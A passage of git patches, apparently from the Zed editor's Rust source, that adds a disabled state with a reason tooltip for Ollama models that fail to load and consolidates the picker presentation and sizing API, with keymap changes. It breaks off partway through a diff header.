                 is_latest: false,
+                disabled: None,
                 cost: None,
             },
             acp_thread::AgentModelInfo {
@@ -868,6 +876,7 @@ mod tests {
                 description: None,
                 icon: None,
                 is_latest: false,
+                disabled: None,
                 cost: None,
             },
         ]);
diff --git a/crates/agent_ui/src/ui/model_selector_components.rs b/crates/agent_ui/src/ui/model_selector_components.rs
index 37e303ff1e1fe7..e194c582decc72 100644
--- a/crates/agent_ui/src/ui/model_selector_components.rs
+++ b/crates/agent_ui/src/ui/model_selector_components.rs
@@ -1,4 +1,5 @@
 use gpui::{Action, ClickEvent, FocusHandle, prelude::*};
+use language_model::DisabledReason;
 use ui::{Chip, ElevationIndex, KeyBinding, ListItem, ListItemSpacing, Tooltip, prelude::*};
 use zed_actions::agent::ToggleModelSelector;
 
@@ -52,6 +53,7 @@ pub struct ModelSelectorListItem {
     is_focused: bool,
     is_latest: bool,
     is_favorite: bool,
+    disabled: Option<DisabledReason>,
     on_toggle_favorite: Option<Box<dyn Fn(&ClickEvent, &mut Window, &mut App) + 'static>>,
     cost_info: Option<SharedString>,
 }
@@ -66,6 +68,7 @@ impl ModelSelectorListItem {
             is_focused: false,
             is_latest: false,
             is_favorite: false,
+            disabled: None,
             on_toggle_favorite: None,
             cost_info: None,
         }
@@ -86,6 +89,11 @@ impl ModelSelectorListItem {
         self
     }
 
+    pub fn disabled(mut self, disabled: Option<DisabledReason>) -> Self {
+        self.disabled = disabled;
+        self
+    }
+
     pub fn is_focused(mut self, is_focused: bool) -> Self {
         self.is_focused = is_focused;
         self
@@ -117,8 +125,12 @@ impl ModelSelectorListItem {
 
 impl RenderOnce for ModelSelectorListItem {
     fn render(self, _window: &mut Window, _cx: &mut App) -> impl IntoElement {
+        let is_disabled = self.disabled.is_some();
+
         let model_icon_color = if self.is_selected {
             Color::Accent
+        } else if is_disabled {
+            Color::Disabled
         } else {
             Color::Muted
         };
@@ -129,6 +141,15 @@ impl RenderOnce for ModelSelectorListItem {
             .inset(true)
             .spacing(ListItemSpacing::Sparse)
             .toggle_state(self.is_focused)
+            .when_some(self.disabled, |this, disabled_reason| {
+                this.disabled(true)
+                    .tooltip(Tooltip::text(disabled_reason.0))
+                    .end_slot(
+                        div()
+                            .pr_2()
+                            .child(Icon::new(IconName::Info).color(Color::Muted)),
+                    )
+            })
             .child(
                 h_flex()
                     .w_full()
@@ -143,7 +164,11 @@ impl RenderOnce for ModelSelectorListItem {
                             .size(IconSize::Small),
                         )
                     })
-                    .child(Label::new(self.title).truncate())
+                    .child(
+                        Label::new(self.title)
+                            .when(is_disabled, |this| this.color(Color::Disabled))
+                            .truncate(),
+                    )
                     .when(self.is_latest, |parent| parent.child(Chip::new("Latest")))
                     .when_some(self.cost_info, |this, cost_info| {
                         let tooltip_text = if cost_info.ends_with('×') {
@@ -157,26 +182,34 @@ impl RenderOnce for ModelSelectorListItem {
                         this.child(Chip::new(cost_info).tooltip(Tooltip::text(tooltip_text)))
                     }),
             )
-            .end_slot(div().pr_2().when(self.is_selected, |this| {
-                this.child(Icon::new(IconName::Check).color(Color::Accent))
-            }))
-            .end_slot_on_hover(div().pr_1p5().when_some(self.on_toggle_favorite, {
-                |this, handle_click| {
-                    let (icon, color, tooltip) = if is_favorite {
-                        (IconName::StarFilled, Color::Accent, "Unfavorite Model")
-                    } else {
-                        (IconName::Star, Color::Default, "Favorite Model")
-                    };
-                    this.child(
-                        IconButton::new(("toggle-favorite", self.index), icon)
-                            .layer(ElevationIndex::ElevatedSurface)
-                            .icon_color(color)
-                            .icon_size(IconSize::Small)
-                            .tooltip(Tooltip::text(tooltip))
-                            .on_click(move |event, window, cx| (handle_click)(event, window, cx)),
-                    )
-                }
-            }))
+            .when(self.is_selected, |this| {
+                this.end_slot(
+                    div()
+                        .pr_2()
+                        .child(Icon::new(IconName::Check).color(Color::Accent)),
+                )
+            })
+            .when(!is_disabled, |this| {
+                this.end_slot_on_hover(div().pr_1p5().when_some(self.on_toggle_favorite, {
+                    |this, handle_click| {
+                        let (icon, color, tooltip) = if is_favorite {
+                            (IconName::StarFilled, Color::Accent, "Unfavorite Model")
+                        } else {
+                            (IconName::Star, Color::Default, "Favorite Model")
+                        };
+                        this.child(
+                            IconButton::new(("toggle-favorite", self.index), icon)
+                                .layer(ElevationIndex::ElevatedSurface)
+                                .icon_color(color)
+                                .icon_size(IconSize::Small)
+                                .tooltip(Tooltip::text(tooltip))
+                                .on_click(move |event, window, cx| {
+                                    (handle_click)(event, window, cx)
+                                }),
+                        )
+                    }
+                }))
+            })
     }
 }
 
diff --git a/crates/language_model/src/language_model.rs b/crates/language_model/src/language_model.rs
index ff56c35ec83a71..df911d1b77ba6b 100644
--- a/crates/language_model/src/language_model.rs
+++ b/crates/language_model/src/language_model.rs
@@ -24,6 +24,15 @@ pub fn init(cx: &mut App) {
     registry::init(cx);
 }
 
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct DisabledReason(pub SharedString);
+
+impl DisabledReason {
+    pub fn new(reason: impl Into<SharedString>) -> Self {
+        Self(reason.into())
+    }
+}
+
 pub struct LanguageModelTextStream {
     pub message_id: Option<String>,
     pub stream: BoxStream<'static, Result<String, LanguageModelCompletionError>>,
@@ -58,6 +67,11 @@ pub trait LanguageModel: Send + Sync {
         false
     }
 
+    /// Whether the model is currently disabled and, if so, why this is the case.
+    fn is_disabled(&self) -> Option<DisabledReason> {
+        None
+    }
+
     /// Whether requests to this model require the user to consent to the
     /// upstream provider retaining inference logs (i.e. the model cannot be
     /// offered with Zero Data Retention).
diff --git a/crates/language_models/src/provider/ollama.rs b/crates/language_models/src/provider/ollama.rs
index ad866cb63fa4cd..43a14c33e875f5 100644
--- a/crates/language_models/src/provider/ollama.rs
+++ b/crates/language_models/src/provider/ollama.rs
@@ -7,11 +7,12 @@ use futures::{Stream, TryFutureExt, stream};
 use gpui::{AnyView, App, AsyncApp, Context, CursorStyle, Entity, Task, TaskExt};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
-    ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel, LanguageModelCompletionError,
-    LanguageModelCompletionEvent, LanguageModelId, LanguageModelName, LanguageModelProvider,
-    LanguageModelProviderId, LanguageModelProviderName, LanguageModelProviderState,
-    LanguageModelRequest, LanguageModelRequestTool, LanguageModelToolChoice, LanguageModelToolUse,
-    LanguageModelToolUseId, MessageContent, RateLimiter, Role, StopReason, TokenUsage, env_var,
+    ApiKeyState, AuthenticateError, DisabledReason, EnvVar, IconOrSvg, LanguageModel,
+    LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelId, LanguageModelName,
+    LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
+    LanguageModelProviderState, LanguageModelRequest, LanguageModelRequestTool,
+    LanguageModelToolChoice, LanguageModelToolUse, LanguageModelToolUseId, MessageContent,
+    RateLimiter, Role, StopReason, TokenUsage, env_var,
 };
 use menu;
 use ollama::{
@@ -139,23 +140,32 @@ impl State {
                     let extra_headers = extra_headers.clone();
                     async move {
                         let name = model.name.as_str();
-                        let model = show_model(
+
+                        show_model(
                             http_client.as_ref(),
                             &api_url,
                             api_key.as_deref(),
                             name,
                             &extra_headers,
                         )
-                        .await?;
-                        let ollama_model = ollama::Model::new(
-                            name,
-                            None,
-                            model.context_length,
-                            Some(model.supports_tools()),
-                            Some(model.supports_vision()),
-                            Some(model.supports_thinking()),
-                        );
-                        Ok(ollama_model)
+                        .await
+                        .map_or_else(
+                            |error| {
+                                ollama::Model::new_disabled(
+                                    name,
+                                    format!("Failed to fetch model from API: {error}",),
+                                )
+                            },
+                            |model| {
+                                ollama::Model::new(
+                                    name,
+                                    model.context_length,
+                                    Some(model.supports_tools()),
+                                    Some(model.supports_vision()),
+                                    Some(model.supports_thinking()),
+                                )
+                            },
+                        )
                     }
                 });
 
@@ -163,10 +173,8 @@ impl State {
             // since there is an arbitrary number of models available
             let mut ollama_models: Vec<_> = futures::stream::iter(tasks)
                 .buffer_unordered(5)
-                .collect::<Vec<Result<_>>>()
-                .await
-                .into_iter()
-                .collect::<Result<Vec<_>>>()?;
+                .collect()
+                .await;
 
             ollama_models.sort_by(|a, b| a.name.cmp(&b.name));
 
@@ -308,6 +316,7 @@ impl LanguageModelProvider for OllamaLanguageModelProvider {
             .map(|model| {
                 Arc::new(OllamaLanguageModel {
                     id: LanguageModelId::from(model.name.clone()),
+                    disabled: model.disabled.as_ref().map(|d| DisabledReason::new(d)),
                     model,
                     http_client: self.http_client.clone(),
                     request_limiter: RateLimiter::new(4),
@@ -350,6 +359,7 @@ pub struct OllamaLanguageModel {
     http_client: Arc<dyn HttpClient>,
     request_limiter: RateLimiter,
     state: Entity<State>,
+    disabled: Option<DisabledReason>,
 }
 
 impl OllamaLanguageModel {
@@ -510,6 +520,10 @@ impl LanguageModel for OllamaLanguageModel {
         format!("ollama/{}", self.model.id())
     }
 
+    fn is_disabled(&self) -> Option<DisabledReason> {
+        self.disabled.clone()
+    }
+
     fn max_token_count(&self) -> u64 {
         self.model.max_token_count()
     }
@@ -1089,6 +1103,7 @@ fn merge_settings_into_models(
                     supports_tools: setting_model.supports_tools,
                     supports_vision: setting_model.supports_images,
                     supports_thinking: setting_model.supports_thinking,
+                    disabled: None,
                 },
             );
         }
@@ -1126,6 +1141,7 @@ mod tests {
                 supports_tools: None,
                 supports_vision: None,
                 supports_thinking: None,
+                disabled: None,
             },
         );
         models.insert(
@@ -1138,6 +1154,7 @@ mod tests {
                 supports_tools: None,
                 supports_vision: None,
                 supports_thinking: None,
+                disabled: None,
             },
         );
 
diff --git a/crates/ollama/src/ollama.rs b/crates/ollama/src/ollama.rs
index 356bce5d74de9c..0bbb210b1266d1 100644
--- a/crates/ollama/src/ollama.rs
+++ b/crates/ollama/src/ollama.rs
@@ -21,6 +21,7 @@ pub struct Model {
     pub supports_tools: Option<bool>,
     pub supports_vision: Option<bool>,
     pub supports_thinking: Option<bool>,
+    pub disabled: Option<String>,
 }
 
 fn get_max_tokens(_name: &str) -> u64 {
@@ -31,7 +32,6 @@ fn get_max_tokens(_name: &str) -> u64 {
 impl Model {
     pub fn new(
         name: &str,
-        display_name: Option<&str>,
         max_tokens: Option<u64>,
         supports_tools: Option<bool>,
         supports_vision: Option<bool>,
@@ -39,14 +39,26 @@ impl Model {
     ) -> Self {
         Self {
             name: name.to_owned(),
-            display_name: display_name
-                .map(ToString::to_string)
-                .or_else(|| name.strip_suffix(":latest").map(ToString::to_string)),
+            display_name: name.strip_suffix(":latest").map(ToString::to_string),
             max_tokens: max_tokens.unwrap_or_else(|| get_max_tokens(name)),
             keep_alive: Some(KeepAlive::indefinite()),
             supports_tools,
             supports_vision,
             supports_thinking,
+            disabled: None,
+        }
+    }
+
+    pub fn new_disabled(name: &str, reason: String) -> Self {
+        Self {
+            name: name.to_owned(),
+            display_name: name.strip_suffix(":latest").map(ToString::to_string),
+            max_tokens: get_max_tokens(name),
+            keep_alive: Some(KeepAlive::indefinite()),
+            supports_tools: None,
+            supports_vision: None,
+            supports_thinking: None,
+            disabled: Some(reason),
         }
     }
 

From f88bc7e18aebd182bb68d8829b8c3cc5c63ded4d Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Tue, 23 Jun 2026 06:33:47 -0300
Subject: [PATCH 052/772] picker: Simplify presentation and sizing APIs, add
 preview-aware defaults (#59719)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The recent "pickers with previews" overhaul left the picker
sizing/presentation API spread across several overlapping knobs that
every call site had to set correctly — and many didn't, causing pickers
across the app to render at the wrong width, lose their container, or
stop dismissing. This PR consolidates that surface into a small,
hard-to-misuse API and makes correct sizing the default.

Net effect: a plain `Picker::uniform_list(delegate, …)` now renders
correctly out of the box (standard width, standard max-height, shrinks
to fit, dismisses properly), and the ~35 call sites only specify what
genuinely differs.

## API changes

**Presentation** — three overlapping booleans (`is_modal`, `is_popover`,
`is_resizable`) collapsed into one enum, with resizability living inside
the only variant where it's meaningful:

```rust
enum Presentation {
    Modal { resizable: bool }, // own chrome, dismisses on blur, optionally resizable
    Popover,                   // own chrome, dismisses on blur, never resizable
    Embedded,                  // host container owns chrome + dismissal
}
```

- `modal(bool)` is **removed** in favor of explicit, self-documenting
builders:
  - *(default)* → `Modal` (resizable iff it has a preview)
  - `.popover()` → `Popover` (menu-attached surfaces)
  - `.embedded()` → `Embedded` (pickers nested in a larger modal/view)
- Dynamic callers use `.when(cond, Picker::embedded)` (added `impl
FluentBuilder for Picker`).

**Sizing** — preview-vs-not now drives everything; the manual padding
knob is gone:

| Before | After |
|---|---|
| `vertical_padding` field + `no_vertical_padding()` | removed — derived
from whether a preview is visible |
| `height(...)` (ambiguous: fixed vs max) | `max_height(...)` (plain
pickers shrink-to-fit, capped here) |
| `minimum_results_width(...)` | removed — a plain picker's min width
tracks its opening width; preview pickers use standard internal pane
mins |
| default size = 60% viewport | default = `DEFAULT_MODAL_WIDTH` (34rem)
× `DEFAULT_MODAL_MAX_HEIGHT` (24rem, max) |
| resize handles gated on `is_modal` | gated on `is_resizable` (new
`resizable(bool)` builder; auto-`true` for preview pickers) |

Call sites now only override the exceptions: narrow popover selectors
(`initial_width`), the taller outline view (`max_height`), and preview
pickers (constructed via `*_with_preview`).

## Behavior fixes

- **Wrong widths everywhere**: pickers were falling back to
60%-of-viewport because the original migration set
`minimum_results_width` but never `initial_width`. Fixed at the source
via the new defaults.
- **Popovers had no container and wouldn't dismiss**: `is_modal=false`
was suppressing both the elevated background *and* blur-dismiss. Split
out so popovers keep their chrome and dismiss on click-away/escape. This
fixed the agent-panel model/profile selectors, sidebar recent projects,
and the settings theme/font/icon/ollama pickers (which were incorrectly
using `modal(false)`).
- **Sidebar recent projects stretched to full height**: was missing the
shrink-to-fit behavior; now capped and content-sized like other
popovers.
- **Preview crash**: removed an over-strict `debug_assert!` that
panicked when previewing an empty file (`message == None && editor
empty` is valid).
- **Preview-aware default size**: pickers open at standard width with
the preview hidden, and expand to the larger "telescope" size when a
preview is shown. Fixes the text finder rendering super-wide by default,
and makes the file finder expand (rather than cram its results) when you
toggle the preview.

---

Release Notes:

- N/A
---
 assets/keymaps/default-linux.json             |   4 +-
 assets/keymaps/default-macos.json             |   4 +-
 assets/keymaps/default-windows.json           |   4 +-
 assets/keymaps/specific-overrides-macos.json  |   2 +-
 assets/keymaps/specific-overrides.json        |   2 +-
 .../manage_profiles_modal.rs                  |   2 +-
 .../src/agent_configuration/tool_picker.rs    |  18 +-
 crates/agent_ui/src/config_options.rs         |   4 +-
 .../agent_ui/src/language_model_selector.rs   |   9 +-
 crates/agent_ui/src/model_selector.rs         |   4 +-
 crates/agent_ui/src/profile_selector.rs       |   4 +-
 crates/agent_ui/src/threads_archive_view.rs   |   6 +-
 .../src/collab_panel/channel_modal.rs         |   6 +-
 .../src/collab_panel/contact_finder.rs        |   9 +-
 crates/command_palette/src/command_palette.rs |   6 +-
 crates/debugger_ui/src/attach_modal.rs        |   6 +-
 crates/debugger_ui/src/new_process_modal.rs   |   4 +-
 crates/dev_container/src/lib.rs               |   6 +-
 .../src/encoding_selector.rs                  |   8 +-
 .../src/extension_version_selector.rs         |   8 +-
 crates/extensions_ui/src/extensions_ui.rs     |   1 -
 crates/file_finder/src/file_finder.rs         |  16 +-
 crates/git_ui/src/branch_picker.rs            |   6 +-
 crates/git_ui/src/git_graph.rs                |   3 -
 crates/git_ui/src/picker_prompt.rs            |   9 +-
 crates/git_ui/src/repository_selector.rs      |   4 +-
 crates/git_ui/src/stash_picker.rs             |   6 +-
 crates/git_ui/src/worktree_picker.rs          |   8 +-
 .../src/language_selector.rs                  |   8 +-
 .../src/line_ending_selector.rs               |   8 +-
 crates/onboarding/src/base_keymap_picker.rs   |   8 +-
 .../open_path_prompt/src/open_path_prompt.rs  |   3 +-
 .../src/open_path_prompt_tests.rs             |   5 +-
 crates/outline/src/outline.rs                 |   4 +-
 crates/picker/src/footer.rs                   |  14 +-
 crates/picker/src/persistence.rs              |   2 +-
 crates/picker/src/picker.rs                   | 209 ++++++++++++------
 crates/picker/src/popover_menu.rs             |   2 +-
 crates/picker/src/preview/render.rs           |   1 -
 crates/picker/src/render.rs                   |  35 +--
 crates/picker/src/shape.rs                    |  60 ++---
 crates/project_symbols/src/project_symbols.rs |   4 +-
 crates/recent_projects/src/recent_projects.rs |   7 +-
 crates/recent_projects/src/remote_servers.rs  |  18 +-
 .../src/sidebar_recent_projects.rs            |   3 +-
 crates/recent_projects/src/wsl_picker.rs      |   2 +-
 crates/repl/src/components/kernel_options.rs  |   5 +-
 crates/search/src/text_finder.rs              |   7 +-
 crates/search/src/text_finder/delegate.rs     |   2 +-
 .../src/settings_profile_selector.rs          |   9 +-
 .../settings_ui/src/components/font_picker.rs |   7 +-
 .../src/components/icon_theme_picker.rs       |   7 +-
 .../src/components/ollama_model_picker.rs     |   7 +-
 .../src/components/theme_picker.rs            |   7 +-
 crates/snippets_ui/src/snippets_ui.rs         |   8 +-
 crates/tab_switcher/src/tab_switcher.rs       |   1 -
 crates/tasks_ui/src/modal.rs                  |   8 +-
 .../theme_selector/src/icon_theme_selector.rs |   6 +-
 crates/theme_selector/src/theme_selector.rs   |   6 +-
 .../src/toolchain_selector.rs                 |  10 +-
 crates/vim/src/state.rs                       |   8 +-
 61 files changed, 286 insertions(+), 374 deletions(-)

diff --git a/assets/keymaps/default-linux.json b/assets/keymaps/default-linux.json
index 4a56cb77ce23ea..ae25c39276e7e2 100644
--- a/assets/keymaps/default-linux.json
+++ b/assets/keymaps/default-linux.json
@@ -451,7 +451,7 @@
       "ctrl-shift-h": "search::ToggleReplace",
       "alt-ctrl-g": "search::ToggleRegex",
       "alt-ctrl-x": "search::ToggleRegex",
-      "ctrl-alt-p": "project_search::OpenTextFinder",
+      "ctrl-alt-f": "project_search::OpenTextFinder",
     },
   },
   {
@@ -481,7 +481,7 @@
       "ctrl-shift-h": "search::ToggleReplace",
       "alt-ctrl-g": "search::ToggleRegex",
       "alt-ctrl-x": "search::ToggleRegex",
-      "ctrl-alt-p": "project_search::OpenTextFinder",
+      "ctrl-alt-f": "project_search::OpenTextFinder",
     },
   },
   {
diff --git a/assets/keymaps/default-macos.json b/assets/keymaps/default-macos.json
index 175a9b7b9b9dcb..1c16af5b819de4 100644
--- a/assets/keymaps/default-macos.json
+++ b/assets/keymaps/default-macos.json
@@ -508,7 +508,7 @@
       "cmd-shift-h": "search::ToggleReplace",
       "alt-cmd-g": "search::ToggleRegex",
       "alt-cmd-x": "search::ToggleRegex",
-      "cmd-alt-p": "project_search::OpenTextFinder",
+      "alt-cmd-f": "project_search::OpenTextFinder",
     },
   },
   {
@@ -542,7 +542,7 @@
       "cmd-shift-h": "search::ToggleReplace",
       "alt-cmd-g": "search::ToggleRegex",
       "alt-cmd-x": "search::ToggleRegex",
-      "cmd-alt-p": "project_search::OpenTextFinder",
+      "alt-cmd-f": "project_search::OpenTextFinder",
     },
   },
   {
diff --git a/assets/keymaps/default-windows.json b/assets/keymaps/default-windows.json
index 50d4d83c236905..442482f5aa7c3b 100644
--- a/assets/keymaps/default-windows.json
+++ b/assets/keymaps/default-windows.json
@@ -452,7 +452,7 @@
       "ctrl-shift-f": "search::FocusSearch",
       "ctrl-shift-h": "search::ToggleReplace",
       "alt-r": "search::ToggleRegex", // vscode
-      "ctrl-alt-p": "project_search::OpenTextFinder",
+      "ctrl-alt-f": "project_search::OpenTextFinder",
     },
   },
   {
@@ -483,7 +483,7 @@
       "escape": "project_search::ToggleFocus",
       "ctrl-shift-h": "search::ToggleReplace",
       "alt-r": "search::ToggleRegex", // vscode
-      "ctrl-alt-p": "project_search::OpenTextFinder",
+      "ctrl-alt-f": "project_search::OpenTextFinder",
     },
   },
   {
diff --git a/assets/keymaps/specific-overrides-macos.json b/assets/keymaps/specific-overrides-macos.json
index 9c3b95c377006c..151bebeec01562 100644
--- a/assets/keymaps/specific-overrides-macos.json
+++ b/assets/keymaps/specific-overrides-macos.json
@@ -32,7 +32,7 @@
     "context": "TextFinder || (TextFinder > Picker > Editor) || (TextFinder > Picker > menu)",
     "use_key_equivalents": true,
     "bindings": {
-      "cmd-alt-p": "text_finder::ToProjectSearch",
+      "alt-cmd-f": "text_finder::ToProjectSearch",
       "cmd-j": "pane::SplitDown",
       "cmd-k": "pane::SplitUp",
       "cmd-h": "pane::SplitLeft",
diff --git a/assets/keymaps/specific-overrides.json b/assets/keymaps/specific-overrides.json
index 05ee8e93e04889..283d930b86e4ec 100644
--- a/assets/keymaps/specific-overrides.json
+++ b/assets/keymaps/specific-overrides.json
@@ -29,7 +29,7 @@
   {
     "context": "TextFinder || (TextFinder > Picker > Editor) || (TextFinder > Picker > menu)",
     "bindings": {
-      "ctrl-alt-p": "text_finder::ToProjectSearch",
+      "ctrl-alt-f": "text_finder::ToProjectSearch",
       "ctrl-j": "pane::SplitDown",
       "ctrl-k": "pane::SplitUp",
       "ctrl-h": "pane::SplitLeft",
diff --git a/crates/agent_ui/src/agent_configuration/manage_profiles_modal.rs b/crates/agent_ui/src/agent_configuration/manage_profiles_modal.rs
index 7cafc7ad57bf7d..c01939a31ace7b 100644
--- a/crates/agent_ui/src/agent_configuration/manage_profiles_modal.rs
+++ b/crates/agent_ui/src/agent_configuration/manage_profiles_modal.rs
@@ -295,7 +295,7 @@ impl ManageProfilesModal {
                 window,
                 cx,
             )
-            .modal(false)
+            .embedded()
         });
 
         let dismiss_subscription = cx.subscribe_in(&model_picker, window, {
diff --git a/crates/agent_ui/src/agent_configuration/tool_picker.rs b/crates/agent_ui/src/agent_configuration/tool_picker.rs
index 757bec6c5eda80..edb510d6f7e2b1 100644
--- a/crates/agent_ui/src/agent_configuration/tool_picker.rs
+++ b/crates/agent_ui/src/agent_configuration/tool_picker.rs
@@ -25,14 +25,7 @@ impl ToolPicker {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
-        let picker = cx.new(|cx| {
-            Picker::uniform_list(delegate, window, cx)
-                .modal(false)
-                .initial_width(rems(34.))
-                .minimum_results_width(rems(34.))
-                .height(rems(24.))
-                .no_vertical_padding()
-        });
+        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx).embedded());
         Self { picker }
     }
 
@@ -41,14 +34,7 @@ impl ToolPicker {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
-        let picker = cx.new(|cx| {
-            Picker::list(delegate, window, cx)
-                .modal(false)
-                .initial_width(rems(34.))
-                .minimum_results_width(rems(34.))
-                .height(rems(24.))
-                .no_vertical_padding()
-        });
+        let picker = cx.new(|cx| Picker::list(delegate, window, cx).embedded());
         Self { picker }
     }
 }
diff --git a/crates/agent_ui/src/config_options.rs b/crates/agent_ui/src/config_options.rs
index 4d9f218bffc451..9d34aedede24d8 100644
--- a/crates/agent_ui/src/config_options.rs
+++ b/crates/agent_ui/src/config_options.rs
@@ -299,9 +299,7 @@ impl ConfigOptionSelector {
                     Picker::nonsearchable_list(delegate, window, picker_cx)
                 }
                 .show_scrollbar(true)
-                .minimum_results_width(rems(20.))
-                .height(rems(20.))
-                .no_vertical_padding()
+                .initial_width(rems(20.))
             })
         };
 
diff --git a/crates/agent_ui/src/language_model_selector.rs b/crates/agent_ui/src/language_model_selector.rs
index 5a1c9383326c84..7f9ff087b38973 100644
--- a/crates/agent_ui/src/language_model_selector.rs
+++ b/crates/agent_ui/src/language_model_selector.rs
@@ -47,15 +47,12 @@ pub fn language_model_selector(
     if popover_styles {
         Picker::list(delegate, window, cx)
             .show_scrollbar(true)
-            .minimum_results_width(rems(20.))
-            .height(rems(20.))
-            .no_vertical_padding()
-            .modal(false)
+            .initial_width(rems(20.))
+            .popover()
     } else {
         Picker::list(delegate, window, cx)
             .show_scrollbar(true)
-            .minimum_results_width(rems(20.))
-            .initial_width(rems(20.))
+            .embedded()
     }
 }
 
diff --git a/crates/agent_ui/src/model_selector.rs b/crates/agent_ui/src/model_selector.rs
index c0d4441b1607ee..d177f0adc43366 100644
--- a/crates/agent_ui/src/model_selector.rs
+++ b/crates/agent_ui/src/model_selector.rs
@@ -35,9 +35,7 @@ pub fn acp_model_selector(
     let delegate = ModelPickerDelegate::new(selector, focus_handle, window, cx);
     Picker::list(delegate, window, cx)
         .show_scrollbar(true)
-        .minimum_results_width(rems(20.))
-        .height(rems(20.))
-        .no_vertical_padding()
+        .initial_width(rems(20.))
 }
 
 enum ModelPickerEntry {
diff --git a/crates/agent_ui/src/profile_selector.rs b/crates/agent_ui/src/profile_selector.rs
index 247890f51a4e99..00f989b50134ca 100644
--- a/crates/agent_ui/src/profile_selector.rs
+++ b/crates/agent_ui/src/profile_selector.rs
@@ -123,9 +123,7 @@ impl ProfileSelector {
             let picker = cx.new(|cx| {
                 Picker::list(delegate, window, cx)
                     .show_scrollbar(true)
-                    .minimum_results_width(rems(18.))
-                    .height(rems(20.))
-                    .no_vertical_padding()
+                    .initial_width(rems(18.))
             });
 
             self.picker = Some(picker);
diff --git a/crates/agent_ui/src/threads_archive_view.rs b/crates/agent_ui/src/threads_archive_view.rs
index cb961e8503d532..51d2644ac73d60 100644
--- a/crates/agent_ui/src/threads_archive_view.rs
+++ b/crates/agent_ui/src/threads_archive_view.rs
@@ -1134,11 +1134,7 @@ impl ProjectPickerModal {
         let picker = cx.new(|cx| {
             Picker::list(delegate, window, cx)
                 .list_measure_all()
-                .modal(false)
-                .initial_width(rems(34.))
-                .minimum_results_width(rems(34.))
-                .height(rems(24.))
-                .no_vertical_padding()
+                .embedded()
         });
 
         let picker_focus_handle = picker.focus_handle(cx);
diff --git a/crates/collab_ui/src/collab_panel/channel_modal.rs b/crates/collab_ui/src/collab_panel/channel_modal.rs
index be1a5280badc23..94a843d5c16e80 100644
--- a/crates/collab_ui/src/collab_panel/channel_modal.rs
+++ b/crates/collab_ui/src/collab_panel/channel_modal.rs
@@ -65,11 +65,7 @@ impl ChannelModal {
                 window,
                 cx,
             )
-            .modal(false)
-            .initial_width(rems(34.))
-            .minimum_results_width(rems(34.))
-            .height(rems(24.))
-            .no_vertical_padding()
+            .embedded()
         });
 
         Self {
diff --git a/crates/collab_ui/src/collab_panel/contact_finder.rs b/crates/collab_ui/src/collab_panel/contact_finder.rs
index 177058b241805d..56eb7679a6115d 100644
--- a/crates/collab_ui/src/collab_panel/contact_finder.rs
+++ b/crates/collab_ui/src/collab_panel/contact_finder.rs
@@ -21,14 +21,7 @@ impl ContactFinder {
             potential_contacts: Arc::from([]),
             selected_index: 0,
         };
-        let picker = cx.new(|cx| {
-            Picker::uniform_list(delegate, window, cx)
-                .modal(false)
-                .initial_width(rems(34.))
-                .minimum_results_width(rems(34.))
-                .height(rems(24.))
-                .no_vertical_padding()
-        });
+        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx).embedded());
 
         Self { picker }
     }
diff --git a/crates/command_palette/src/command_palette.rs b/crates/command_palette/src/command_palette.rs
index b744ad5e770b36..2b8f5a9fa94610 100644
--- a/crates/command_palette/src/command_palette.rs
+++ b/crates/command_palette/src/command_palette.rs
@@ -125,11 +125,7 @@ impl CommandPalette {
         );
 
         let picker = cx.new(|cx| {
-            let picker = Picker::uniform_list(delegate, window, cx)
-                .initial_width(rems(34.))
-                .minimum_results_width(rems(34.))
-                .height(rems(24.))
-                .no_vertical_padding();
+            let picker = Picker::uniform_list(delegate, window, cx);
             picker.set_query(query, window, cx);
             picker
         });
diff --git a/crates/debugger_ui/src/attach_modal.rs b/crates/debugger_ui/src/attach_modal.rs
index ab7f044774bbb3..cd7705f0e7323e 100644
--- a/crates/debugger_ui/src/attach_modal.rs
+++ b/crates/debugger_ui/src/attach_modal.rs
@@ -103,11 +103,7 @@ impl AttachModal {
                 window,
                 cx,
             )
-            .modal(modal)
-            .initial_width(rems(34.))
-            .minimum_results_width(rems(34.))
-            .height(rems(24.))
-            .no_vertical_padding()
+            .when(!modal, |picker| picker.embedded())
         });
         Self {
             _subscription: cx.subscribe(&picker, |_, _, _, cx| {
diff --git a/crates/debugger_ui/src/new_process_modal.rs b/crates/debugger_ui/src/new_process_modal.rs
index ecd7d813bd56e2..eabcdfbd429187 100644
--- a/crates/debugger_ui/src/new_process_modal.rs
+++ b/crates/debugger_ui/src/new_process_modal.rs
@@ -106,9 +106,7 @@ impl NewProcessModal {
                         let delegate =
                             DebugDelegate::new(debug_panel.downgrade(), task_store.clone());
                         Picker::list(delegate, window, cx)
-                            .modal(false)
-                            .height(rems(24.))
-                            .no_vertical_padding()
+                            .embedded()
                             .list_measure_all()
                     });
 
diff --git a/crates/dev_container/src/lib.rs b/crates/dev_container/src/lib.rs
index d90a06a67f3bef..963c5a57a29e3a 100644
--- a/crates/dev_container/src/lib.rs
+++ b/crates/dev_container/src/lib.rs
@@ -1184,8 +1184,7 @@ impl StatefulModal for DevContainerModal {
                         }),
                     );
 
-                    let picker =
-                        cx.new(|cx| Picker::uniform_list(delegate, window, cx).modal(false));
+                    let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx).embedded());
                     self.picker = Some(picker);
                     Some(DevContainerState::TemplateQueryReturned(Ok(items)))
                 } else {
@@ -1316,8 +1315,7 @@ impl StatefulModal for DevContainerModal {
                         }),
                     );
 
-                    let picker =
-                        cx.new(|cx| Picker::uniform_list(delegate, window, cx).modal(false));
+                    let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx).embedded());
                     self.features_picker = Some(picker);
                     Some(DevContainerState::FeaturesQueryReturned(template_entry))
                 } else {
diff --git a/crates/encoding_selector/src/encoding_selector.rs b/crates/encoding_selector/src/encoding_selector.rs
index 7e4ac8302b5ff0..9aa97a2a4c5f77 100644
